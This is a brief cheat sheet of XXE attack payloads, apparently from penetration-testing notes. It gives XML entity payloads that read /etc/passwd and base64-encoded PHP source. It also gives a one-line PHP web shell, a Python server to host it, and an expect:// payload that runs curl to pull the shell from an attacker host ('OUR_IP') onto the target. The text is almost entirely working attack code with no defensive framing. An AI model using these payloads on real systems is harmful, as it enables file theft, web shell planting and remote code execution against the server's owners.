XXE
// reading sensitive files
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
// reading source code
// This trick only works with PHP web applications.
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
// RCE
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
// use Curl in XXE to download shell
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
Last updated